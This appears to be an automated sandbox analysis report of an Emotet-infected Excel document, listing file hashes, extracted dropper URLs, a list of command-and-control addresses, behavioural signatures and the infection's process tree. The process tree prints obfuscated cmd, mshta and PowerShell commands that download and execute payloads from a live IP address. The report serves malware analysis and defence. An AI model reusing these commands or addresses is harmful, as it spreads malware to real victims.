Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 00:40

General

  • Target

    Electronic form.xls

  • Size

    47KB

  • MD5

    22705643f9d87c2e5cae9ecd290580d4

  • SHA1

    0b5d34f421759a40b9e431704167d69bf3ca0c5e

  • SHA256

    710ea5dddb84bb64f7ab8b90c028da8d6ff072944c33731ee35fe89924861a3b

  • SHA512

    be9e557f629dd5666a89b3547c382bd65dce1719e4d5a2eaf2f2900139259dd4351207ca932987b78161a0adef5c199e6865d2a2692aac5dd9cb9f0da7357762

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Electronic form.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:640
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1660
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:300
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:908
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1568
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1244
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yjygizsbgfjble\pugysnbbcc.sda",XwSWqlXNaO
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1808
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yjygizsbgfjble\pugysnbbcc.sda",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1840

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • \ProgramData\QWER.dll
    MD5

    05f1c903564b2e59389a1f99b368784d

    SHA1

    be2d7e1f8672f67c01f4a2b72afc4197cc54598e

    SHA256

    758dc46618af21e758b1fe8d09d5007b038d472f7b899f76cad47e146895dc9d

    SHA512

    e5dcb59dc392d2d64f3d6b40546a8a57189c6c8df669528a83a41a501f37d5c361f882a548f6dd635ffe2200299a88bd31db1fbc7b17bf6d72b329f9b8a6eff7

  • memory/300-62-0x0000000002230000-0x0000000002500000-memory.dmp
    Filesize

    2.8MB

  • memory/300-63-0x0000000002230000-0x0000000002500000-memory.dmp
    Filesize

    2.8MB

  • memory/1244-85-0x0000000000E70000-0x0000000000E95000-memory.dmp
    Filesize

    148KB

  • memory/1244-79-0x00000000003B0000-0x00000000003D5000-memory.dmp
    Filesize

    148KB

  • memory/1244-81-0x0000000000D60000-0x0000000000D85000-memory.dmp
    Filesize

    148KB

  • memory/1244-83-0x0000000000E10000-0x0000000000E35000-memory.dmp
    Filesize

    148KB

  • memory/1244-87-0x0000000002700000-0x0000000002725000-memory.dmp
    Filesize

    148KB

  • memory/1244-93-0x0000000002910000-0x0000000002935000-memory.dmp
    Filesize

    148KB

  • memory/1796-116-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1796-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1796-54-0x000000002FCA1000-0x000000002FCA4000-memory.dmp
    Filesize

    12KB

  • memory/1796-57-0x0000000076C61000-0x0000000076C63000-memory.dmp
    Filesize

    8KB

  • memory/1796-55-0x0000000071B41000-0x0000000071B43000-memory.dmp
    Filesize

    8KB

  • memory/1808-91-0x00000000001C0000-0x00000000001E5000-memory.dmp
    Filesize

    148KB

  • memory/1840-99-0x0000000000890000-0x00000000008B5000-memory.dmp
    Filesize

    148KB

  • memory/1840-101-0x0000000000AA0000-0x0000000000AC5000-memory.dmp
    Filesize

    148KB

  • memory/1840-105-0x0000000002760000-0x0000000002785000-memory.dmp
    Filesize

    148KB

  • memory/1840-107-0x0000000002860000-0x0000000002885000-memory.dmp
    Filesize

    148KB

  • memory/1840-109-0x0000000002920000-0x0000000002945000-memory.dmp
    Filesize

    148KB

  • memory/1840-111-0x00000000029D0000-0x00000000029F5000-memory.dmp
    Filesize

    148KB

  • memory/1840-113-0x0000000002B50000-0x0000000002B75000-memory.dmp
    Filesize

    148KB

  • memory/1840-97-0x00000000007E0000-0x0000000000805000-memory.dmp
    Filesize

    148KB